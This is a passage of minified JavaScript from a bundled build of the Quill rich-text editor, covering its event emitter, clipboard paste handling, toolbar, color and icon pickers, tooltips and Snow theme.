n=r?r+e:e,o=this._events[n];if(t)return!!o;if(!o)return[];if(o.fn)return[o.fn];for(var i=0,a=o.length,l=new Array(a);i<a;i++)l[i]=o[i].fn;return l},a.prototype.emit=function(e,t,n,o,i,a){var l=r?r+e:e;if(!this._events[l])return!1;var s,u,c=this._events[l],f=arguments.length;if(c.fn){switch(c.once&&this.removeListener(e,c.fn,void 0,!0),f){case 1:return c.fn.call(c.context),!0;case 2:return c.fn.call(c.context,t),!0;case 3:return c.fn.call(c.context,t,n),!0;case 4:return c.fn.call(c.context,t,n,o),!0;case 5:return c.fn.call(c.context,t,n,o,i),!0;case 6:return c.fn.call(c.context,t,n,o,i,a),!0}for(u=1,s=new Array(f-1);u<f;u++)s[u-1]=arguments[u];c.fn.apply(c.context,s)}else{var d,p=c.length;for(u=0;u<p;u++)switch(c[u].once&&this.removeListener(e,c[u].fn,void 0,!0),f){case 1:c[u].fn.call(c[u].context);break;case 2:c[u].fn.call(c[u].context,t);break;case 3:c[u].fn.call(c[u].context,t,n);break;case 4:c[u].fn.call(c[u].context,t,n,o);break;default:if(!s)for(d=1,s=new Array(f-1);d<f;d++)s[d-1]=arguments[d];c[u].fn.apply(c[u].context,s)}}return!0},a.prototype.on=function(e,t,n){var o=new i(t,n||this),a=r?r+e:e;return this._events[a]?this._events[a].fn?this._events[a]=[this._events[a],o]:this._events[a].push(o):(this._events[a]=o,this._eventsCount++),this},a.prototype.once=function(e,t,n){var o=new i(t,n||this,!0),a=r?r+e:e;return this._events[a]?this._events[a].fn?this._events[a]=[this._events[a],o]:this._events[a].push(o):(this._events[a]=o,this._eventsCount++),this},a.prototype.removeListener=function(e,t,n,i){var a=r?r+e:e;if(!this._events[a])return this;if(!t)return 0==--this._eventsCount?this._events=new o:delete this._events[a],this;var l=this._events[a];if(l.fn)l.fn!==t||i&&!l.once||n&&l.context!==n||(0==--this._eventsCount?this._events=new o:delete this._events[a]);else{for(var s=0,u=[],c=l.length;s<c;s++)(l[s].fn!==t||i&&!l[s].once||n&&l[s].context!==n)&&u.push(l[s]);u.length?this._events[a]=1===u.length?u[0]:u:0==--this._eventsCount?this._events=new o:delete this._events[a]}return this},a.prototype.removeAllListeners=function(e){var t;return e?(t=r?r+e:e,this._events[t]&&(0==--this._eventsCount?this._events=new o:delete this._events[t])):(this._events=new o,this._eventsCount=0),this},a.prototype.off=a.prototype.removeListener,a.prototype.addListener=a.prototype.on,a.prototype.setMaxListeners=function(){return this},a.prefixed=r,a.EventEmitter=a,void 0!==e&&(e.exports=a)},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.matchText=t.matchSpacing=t.matchNewline=t.matchBlot=t.matchAttributor=t.default=void 0;var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},o=function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return function(e,t){var n=[],r=!0,o=!1,i=void 0;try{for(var a,l=e[Symbol.iterator]();!(r=(a=l.next()).done)&&(n.push(a.value),!t||n.length!==t);r=!0);}catch(e){o=!0,i=e}finally{try{!r&&l.return&&l.return()}finally{if(o)throw i}}return n}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")},i=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),a=b(n(3)),l=b(n(2)),s=b(n(0)),u=b(n(5)),c=b(n(10)),f=b(n(9)),d=n(36),p=n(37),h=b(n(13)),m=n(26),g=n(38),v=n(39),y=n(40);function b(e){return e&&e.__esModule?e:{default:e}}function w(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var E=(0,c.default)("quill:clipboard"),S="__ql-matcher",C=[[Node.TEXT_NODE,N],[Node.TEXT_NODE,L],["br",function(e,t){return k(t,"\n")||t.insert("\n"),t}],[Node.ELEMENT_NODE,L],[Node.ELEMENT_NODE,j],[Node.ELEMENT_NODE,I],[Node.ELEMENT_NODE,R],[Node.ELEMENT_NODE,function(e,t){var n={},r=e.style||{};return r.fontStyle&&"italic"===T(e).fontStyle&&(n.italic=!0),r.fontWeight&&(T(e).fontWeight.startsWith("bold")||parseInt(T(e).fontWeight)>=700)&&(n.bold=!0),Object.keys(n).length>0&&(t=_(t,n)),parseFloat(r.textIndent||0)>0&&(t=(new l.default).insert("\t").concat(t)),t}],["li",function(e,t){var n=s.default.query(e);if(null==n||"list-item"!==n.blotName||!k(t,"\n"))return t;for(var r=-1,o=e.parentNode;!o.classList.contains("ql-clipboard");)"list"===(s.default.query(o)||{}).blotName&&(r+=1),o=o.parentNode;return r<=0?t:t.compose((new l.default).retain(t.length()-1).retain(1,{indent:r}))}],["b",M.bind(M,"bold")],["i",M.bind(M,"italic")],["style",function(){return new l.default}]],x=[d.AlignAttribute,g.DirectionAttribute].reduce((function(e,t){return e[t.keyName]=t,e}),{}),O=[d.AlignStyle,p.BackgroundStyle,m.ColorStyle,g.DirectionStyle,v.FontStyle,y.SizeStyle].reduce((function(e,t){return e[t.keyName]=t,e}),{}),A=function(e){function t(e,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var r=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n));return r.quill.root.addEventListener("paste",r.onPaste.bind(r)),r.container=r.quill.addContainer("ql-clipboard"),r.container.setAttribute("contenteditable",!0),r.container.setAttribute("tabindex",-1),r.matchers=[],C.concat(r.options.matchers).forEach((function(e){var t=o(e,2),i=t[0],a=t[1];(n.matchVisual||a!==I)&&r.addMatcher(i,a)})),r}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),i(t,[{key:"addMatcher",value:function(e,t){this.matchers.push([e,t])}},{key:"convert",value:function(e){if("string"==typeof e)return this.container.innerHTML=e.replace(/\>\r?\n +\</g,"><"),this.convert();var t=this.quill.getFormat(this.quill.selection.savedRange.index);if(t[h.default.blotName]){var n=this.container.innerText;return this.container.innerHTML="",(new l.default).insert(n,w({},h.default.blotName,t[h.default.blotName]))}var r=this.prepareMatching(),i=o(r,2),a=i[0],s=i[1],u=function e(t,n,r){return t.nodeType===t.TEXT_NODE?r.reduce((function(e,n){return n(t,e)}),new l.default):t.nodeType===t.ELEMENT_NODE?[].reduce.call(t.childNodes||[],(function(o,i){var a=e(i,n,r);return i.nodeType===t.ELEMENT_NODE&&(a=n.reduce((function(e,t){return t(i,e)}),a),a=(i[S]||[]).reduce((function(e,t){return t(i,e)}),a)),o.concat(a)}),new l.default):new l.default}(this.container,a,s);return k(u,"\n")&&null==u.ops[u.ops.length-1].attributes&&(u=u.compose((new l.default).retain(u.length()-1).delete(1))),E.log("convert",this.container.innerHTML,u),this.container.innerHTML="",u}},{key:"dangerouslyPasteHTML",value:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:u.default.sources.API;if("string"==typeof e)this.quill.setContents(this.convert(e),t),this.quill.setSelection(0,u.default.sources.SILENT);else{var r=this.convert(t);this.quill.updateContents((new l.default).retain(e).concat(r),n),this.quill.setSelection(e+r.length(),u.default.sources.SILENT)}}},{key:"onPaste",value:function(e){var t=this;if(!e.defaultPrevented&&this.quill.isEnabled()){var n=this.quill.getSelection(),r=(new l.default).retain(n.index),o=this.quill.scrollingContainer.scrollTop;this.container.focus(),this.quill.selection.update(u.default.sources.SILENT),setTimeout((function(){r=r.concat(t.convert()).delete(n.length),t.quill.updateContents(r,u.default.sources.USER),t.quill.setSelection(r.length()-n.length,u.default.sources.SILENT),t.quill.scrollingContainer.scrollTop=o,t.quill.focus()}),1)}}},{key:"prepareMatching",value:function(){var e=this,t=[],n=[];return this.matchers.forEach((function(r){var i=o(r,2),a=i[0],l=i[1];switch(a){case Node.TEXT_NODE:n.push(l);break;case Node.ELEMENT_NODE:t.push(l);break;default:[].forEach.call(e.container.querySelectorAll(a),(function(e){e[S]=e[S]||[],e[S].push(l)}))}})),[t,n]}}]),t}(f.default);function _(e,t,n){return"object"===(void 0===t?"undefined":r(t))?Object.keys(t).reduce((function(e,n){return _(e,n,t[n])}),e):e.reduce((function(e,r){return r.attributes&&r.attributes[t]?e.push(r):e.insert(r.insert,(0,a.default)({},w({},t,n),r.attributes))}),new l.default)}function T(e){return e.nodeType!==Node.ELEMENT_NODE?{}:e["__ql-computed-style"]||(e["__ql-computed-style"]=window.getComputedStyle(e))}function k(e,t){for(var n="",r=e.ops.length-1;r>=0&&n.length<t.length;--r){var o=e.ops[r];if("string"!=typeof o.insert)break;n=o.insert+n}return n.slice(-1*t.length)===t}function P(e){if(0===e.childNodes.length)return!1;var t=T(e);return["block","list-item"].indexOf(t.display)>-1}function M(e,t,n){return _(n,e,!0)}function R(e,t){var n=s.default.Attributor.Attribute.keys(e),r=s.default.Attributor.Class.keys(e),o=s.default.Attributor.Style.keys(e),i={};return n.concat(r).concat(o).forEach((function(t){var n=s.default.query(t,s.default.Scope.ATTRIBUTE);null!=n&&(i[n.attrName]=n.value(e),i[n.attrName])||(null==(n=x[t])||n.attrName!==t&&n.keyName!==t||(i[n.attrName]=n.value(e)||void 0),null==(n=O[t])||n.attrName!==t&&n.keyName!==t||(n=O[t],i[n.attrName]=n.value(e)||void 0))})),Object.keys(i).length>0&&(t=_(t,i)),t}function j(e,t){var n=s.default.query(e);if(null==n)return t;if(n.prototype instanceof s.default.Embed){var r={},o=n.value(e);null!=o&&(r[n.blotName]=o,t=(new l.default).insert(r,n.formats(e)))}else"function"==typeof n.formats&&(t=_(t,n.blotName,n.formats(e)));return t}function L(e,t){return k(t,"\n")||(P(e)||t.length()>0&&e.nextSibling&&P(e.nextSibling))&&t.insert("\n"),t}function I(e,t){if(P(e)&&null!=e.nextElementSibling&&!k(t,"\n\n")){var n=e.offsetHeight+parseFloat(T(e).marginTop)+parseFloat(T(e).marginBottom);e.nextElementSibling.offsetTop>e.offsetTop+1.5*n&&t.insert("\n")}return t}function N(e,t){var n=e.data;if("O:P"===e.parentNode.tagName)return t.insert(n.trim());if(0===n.trim().length&&e.parentNode.classList.contains("ql-clipboard"))return t;if(!T(e.parentNode).whiteSpace.startsWith("pre")){var r=function(e,t){return(t=t.replace(/[^\u00a0]/g,"")).length<1&&e?" ":t};n=(n=n.replace(/\r\n/g," ").replace(/\n/g," ")).replace(/\s\s+/g,r.bind(r,!0)),(null==e.previousSibling&&P(e.parentNode)||null!=e.previousSibling&&P(e.previousSibling))&&(n=n.replace(/^\s+/,r.bind(r,!1))),(null==e.nextSibling&&P(e.parentNode)||null!=e.nextSibling&&P(e.nextSibling))&&(n=n.replace(/\s+$/,r.bind(r,!1)))}return t.insert(n)}A.DEFAULTS={matchers:[],matchVisual:!0},t.default=A,t.matchAttributor=R,t.matchBlot=j,t.matchNewline=L,t.matchSpacing=I,t.matchText=N},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r,o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0},a=n(6);function l(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function s(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var u=function(e){function t(){return l(this,t),s(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),o(t,[{key:"optimize",value:function(e){i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"optimize",this).call(this,e),this.domNode.tagName!==this.statics.tagName[0]&&this.replaceWith(this.statics.blotName)}}],[{key:"create",value:function(){return i(t.__proto__||Object.getPrototypeOf(t),"create",this).call(this)}},{key:"formats",value:function(){return!0}}]),t}(((r=a)&&r.__esModule?r:{default:r}).default);u.blotName="bold",u.tagName=["STRONG","B"],t.default=u},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.addControls=t.default=void 0;var r=function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return function(e,t){var n=[],r=!0,o=!1,i=void 0;try{for(var a,l=e[Symbol.iterator]();!(r=(a=l.next()).done)&&(n.push(a.value),!t||n.length!==t);r=!0);}catch(e){o=!0,i=e}finally{try{!r&&l.return&&l.return()}finally{if(o)throw i}}return n}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")},o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=c(n(2)),a=c(n(0)),l=c(n(5)),s=c(n(10)),u=c(n(9));function c(e){return e&&e.__esModule?e:{default:e}}function f(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var d=(0,s.default)("quill:toolbar"),p=function(e){function t(e,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var o,i=f(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n));if(Array.isArray(i.options.container)){var a=document.createElement("div");m(a,i.options.container),e.container.parentNode.insertBefore(a,e.container),i.container=a}else"string"==typeof i.options.container?i.container=document.querySelector(i.options.container):i.container=i.options.container;return i.container instanceof HTMLElement?(i.container.classList.add("ql-toolbar"),i.controls=[],i.handlers={},Object.keys(i.options.handlers).forEach((function(e){i.addHandler(e,i.options.handlers[e])})),[].forEach.call(i.container.querySelectorAll("button, select"),(function(e){i.attach(e)})),i.quill.on(l.default.events.EDITOR_CHANGE,(function(e,t){e===l.default.events.SELECTION_CHANGE&&i.update(t)})),i.quill.on(l.default.events.SCROLL_OPTIMIZE,(function(){var e=i.quill.selection.getRange(),t=r(e,1)[0];i.update(t)})),i):(o=d.error("Container required for toolbar",i.options),f(i,o))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),o(t,[{key:"addHandler",value:function(e,t){this.handlers[e]=t}},{key:"attach",value:function(e){var t=this,n=[].find.call(e.classList,(function(e){return 0===e.indexOf("ql-")}));if(n){if(n=n.slice("ql-".length),"BUTTON"===e.tagName&&e.setAttribute("type","button"),null==this.handlers[n]){if(null!=this.quill.scroll.whitelist&&null==this.quill.scroll.whitelist[n])return void d.warn("ignoring attaching to disabled format",n,e);if(null==a.default.query(n))return void d.warn("ignoring attaching to nonexistent format",n,e)}var o="SELECT"===e.tagName?"change":"click";e.addEventListener(o,(function(o){var s=void 0;if("SELECT"===e.tagName){if(e.selectedIndex<0)return;var u=e.options[e.selectedIndex];s=!u.hasAttribute("selected")&&(u.value||!1)}else s=!e.classList.contains("ql-active")&&(e.value||!e.hasAttribute("value")),o.preventDefault();t.quill.focus();var c=t.quill.selection.getRange(),f=r(c,1)[0];if(null!=t.handlers[n])t.handlers[n].call(t,s);else if(a.default.query(n).prototype instanceof a.default.Embed){if(!(s=prompt("Enter "+n)))return;t.quill.updateContents((new i.default).retain(f.index).delete(f.length).insert(function(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}({},n,s)),l.default.sources.USER)}else t.quill.format(n,s,l.default.sources.USER);t.update(f)})),this.controls.push([n,e])}}},{key:"update",value:function(e){var t=null==e?{}:this.quill.getFormat(e);this.controls.forEach((function(n){var o=r(n,2),i=o[0],a=o[1];if("SELECT"===a.tagName){var l=void 0;if(null==e)l=null;else if(null==t[i])l=a.querySelector("option[selected]");else if(!Array.isArray(t[i])){var s=t[i];"string"==typeof s&&(s=s.replace(/\"/g,'\\"')),l=a.querySelector('option[value="'+s+'"]')}null==l?(a.value="",a.selectedIndex=-1):l.selected=!0}else if(null==e)a.classList.remove("ql-active");else if(a.hasAttribute("value")){var u=t[i]===a.getAttribute("value")||null!=t[i]&&t[i].toString()===a.getAttribute("value")||null==t[i]&&!a.getAttribute("value");a.classList.toggle("ql-active",u)}else a.classList.toggle("ql-active",null!=t[i])}))}}]),t}(u.default);function h(e,t,n){var r=document.createElement("button");r.setAttribute("type","button"),r.classList.add("ql-"+t),null!=n&&(r.value=n),e.appendChild(r)}function m(e,t){Array.isArray(t[0])||(t=[t]),t.forEach((function(t){var n=document.createElement("span");n.classList.add("ql-formats"),t.forEach((function(e){if("string"==typeof e)h(n,e);else{var t=Object.keys(e)[0],r=e[t];Array.isArray(r)?function(e,t,n){var r=document.createElement("select");r.classList.add("ql-"+t),n.forEach((function(e){var t=document.createElement("option");!1!==e?t.setAttribute("value",e):t.setAttribute("selected","selected"),r.appendChild(t)})),e.appendChild(r)}(n,t,r):h(n,t,r)}})),e.appendChild(n)}))}p.DEFAULTS={},p.DEFAULTS={container:null,handlers:{clean:function(){var e=this,t=this.quill.getSelection();if(null!=t)if(0==t.length){var n=this.quill.getFormat();Object.keys(n).forEach((function(t){null!=a.default.query(t,a.default.Scope.INLINE)&&e.quill.format(t,!1)}))}else this.quill.removeFormat(t,l.default.sources.USER)},direction:function(e){var t=this.quill.getFormat().align;"rtl"===e&&null==t?this.quill.format("align","right",l.default.sources.USER):e||"right"!==t||this.quill.format("align",!1,l.default.sources.USER),this.quill.format("direction",e,l.default.sources.USER)},indent:function(e){var t=this.quill.getSelection(),n=this.quill.getFormat(t),r=parseInt(n.indent||0);if("+1"===e||"-1"===e){var o="+1"===e?1:-1;"rtl"===n.direction&&(o*=-1),this.quill.format("indent",r+o,l.default.sources.USER)}},link:function(e){!0===e&&(e=prompt("Enter link URL:")),this.quill.format("link",e,l.default.sources.USER)},list:function(e){var t=this.quill.getSelection(),n=this.quill.getFormat(t);"check"===e?"checked"===n.list||"unchecked"===n.list?this.quill.format("list",!1,l.default.sources.USER):this.quill.format("list","unchecked",l.default.sources.USER):this.quill.format("list",e,l.default.sources.USER)}}},t.default=p,t.addControls=m},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <polyline class="ql-even ql-stroke" points="5 7 3 9 5 11"></polyline> <polyline class="ql-even ql-stroke" points="13 7 15 9 13 11"></polyline> <line class=ql-stroke x1=10 x2=8 y1=5 y2=13></line> </svg>'},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r,o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0},a=n(28),l=function(e){function t(e,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var r=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return r.label.innerHTML=n,r.container.classList.add("ql-color-picker"),[].slice.call(r.container.querySelectorAll(".ql-picker-item"),0,7).forEach((function(e){e.classList.add("ql-primary")})),r}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),o(t,[{key:"buildItem",value:function(e){var n=i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"buildItem",this).call(this,e);return n.style.backgroundColor=e.getAttribute("value")||"",n}},{key:"selectItem",value:function(e,n){i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"selectItem",this).call(this,e,n);var r=this.label.querySelector(".ql-color-label"),o=e&&e.getAttribute("data-value")||"";r&&("line"===r.tagName?r.style.stroke=o:r.style.fill=o)}}]),t}(((r=a)&&r.__esModule?r:{default:r}).default);t.default=l},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r,o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=n(28),a=function(e){function t(e,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var r=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return r.container.classList.add("ql-icon-picker"),[].forEach.call(r.container.querySelectorAll(".ql-picker-item"),(function(e){e.innerHTML=n[e.getAttribute("data-value")||""]})),r.defaultItem=r.container.querySelector(".ql-selected"),r.selectItem(r.defaultItem),r}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),o(t,[{key:"selectItem",value:function(e,n){(function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0})(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"selectItem",this).call(this,e,n),e=e||this.defaultItem,this.label.innerHTML=e.innerHTML}}]),t}(((r=i)&&r.__esModule?r:{default:r}).default);t.default=a},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),o=function(){function e(t,n){var r=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.quill=t,this.boundsContainer=n||document.body,this.root=t.addContainer("ql-tooltip"),this.root.innerHTML=this.constructor.TEMPLATE,this.quill.root===this.quill.scrollingContainer&&this.quill.root.addEventListener("scroll",(function(){r.root.style.marginTop=-1*r.quill.root.scrollTop+"px"})),this.hide()}return r(e,[{key:"hide",value:function(){this.root.classList.add("ql-hidden")}},{key:"position",value:function(e){var t=e.left+e.width/2-this.root.offsetWidth/2,n=e.bottom+this.quill.root.scrollTop;this.root.style.left=t+"px",this.root.style.top=n+"px",this.root.classList.remove("ql-flip");var r=this.boundsContainer.getBoundingClientRect(),o=this.root.getBoundingClientRect(),i=0;if(o.right>r.right&&(i=r.right-o.right,this.root.style.left=t+i+"px"),o.left<r.left&&(i=r.left-o.left,this.root.style.left=t+i+"px"),o.bottom>r.bottom){var a=o.bottom-o.top,l=e.bottom-e.top+a;this.root.style.top=n-l+"px",this.root.classList.add("ql-flip")}return i}},{key:"show",value:function(){this.root.classList.remove("ql-editing"),this.root.classList.remove("ql-hidden")}}]),e}();t.default=o},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return function(e,t){var n=[],r=!0,o=!1,i=void 0;try{for(var a,l=e[Symbol.iterator]();!(r=(a=l.next()).done)&&(n.push(a.value),!t||n.length!==t);r=!0);}catch(e){o=!0,i=e}finally{try{!r&&l.return&&l.return()}finally{if(o)throw i}}return n}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")},o=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0},i=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),a=p(n(3)),l=p(n(8)),s=n(43),u=p(s),c=p(n(27)),f=n(15),d=p(n(41));function p(e){return e&&e.__esModule?e:{default:e}}function h(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function m(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function g(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}var v=[[{header:["1","2","3",!1]}],["bold","italic","underline","link"],[{list:"ordered"},{list:"bullet"}],["clean"]],y=function(e){function t(e,n){h(this,t),null!=n.modules.toolbar&&null==n.modules.toolbar.container&&(n.modules.toolbar.container=v);var r=m(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n));return r.quill.container.classList.add("ql-snow"),r}return g(t,e),i(t,[{key:"extendToolbar",value:function(e){e.container.classList.add("ql-snow"),this.buildButtons([].slice.call(e.container.querySelectorAll("button")),d.default),this.buildPickers([].slice.call(e.container.querySelectorAll("select")),d.default),this.tooltip=new b(this.quill,this.options.bounds),e.container.querySelector(".ql-link")&&this.quill.keyboard.addBinding({key:"K",shortKey:!0},(function(t,n){e.handlers.link.call(e,!n.format.link)}))}}]),t}(u.default);y.DEFAULTS=(0,a.default)(!0,{},u.default.DEFAULTS,{modules:{toolbar:{handlers:{link:function(e){if(e){var t=this.quill.getSelection();if(null==t||0==t.length)return;var n=this.quill.getText(t);/^\S+@\S+\.\S+$/.test(n)&&0!==n.indexOf("mailto:")&&(n="mailto:"+n),this.quill.theme.tooltip.edit("link",n)}else this.quill.format("link",!1)}}}}});var b=function(e){function t(e,n){h(this,t);var r=m(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n));return r.preview=r.root.querySelector("a.ql-preview"),r}return g(t,e),i(t,[{key:"listen",value:function(){var e=this;o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"listen",this).call(this),this.root.querySelector("a.ql-action").addEventListener("click",(function(t){e.root.classList.contains("ql-editing")?e.save():e.edit("link",e.preview.textContent),t.preventDefault()})),this.root.querySelector("a.ql-remove").addEventListener("click",(function(t){if(null!=e.linkRange){var n=e.linkRange;e.restoreFocus(),e.quill.formatText(n,"link",!1,l.default.sources.USER),delete e.linkRange}t.preventDefault(),e.hide()})),this.quill.on(l.default.events.SELECTION_CHANGE,(function(t,n,o){if(null!=t){if(0===t.length&&o===l.default.sources.USER){var i=e.quill.scroll.descendant(c.default,t.index),a=r(i,2),s=a[0],u=a[1];if(null!=s){e.linkRange=new f.Range(t.index-u,s.length());var d=c.default.formats(s.domNode);return e.preview.textContent=d,e.preview.setAttribute("href",d),e.show(),void e.position(e.quill.getBounds(e.linkRange))}}else delete e.linkRange;e.hide()}}))}},{key:"show",value:function(){o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"show",this).call(this),this.root.removeAttribute("data-mode")}}]),t}(s.BaseTooltip);b.TEMPLATE=['<a class="ql-preview" rel="noopener noreferrer" target="_blank" href="about:blank"></a>','<input type="text" data-formula="e=mc^2" data-link="https://quilljs.com" data-video="Embed URL">','<a class="ql-action"></a>','<a class="ql-remove"></a>'].join(""),t.default=y},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var 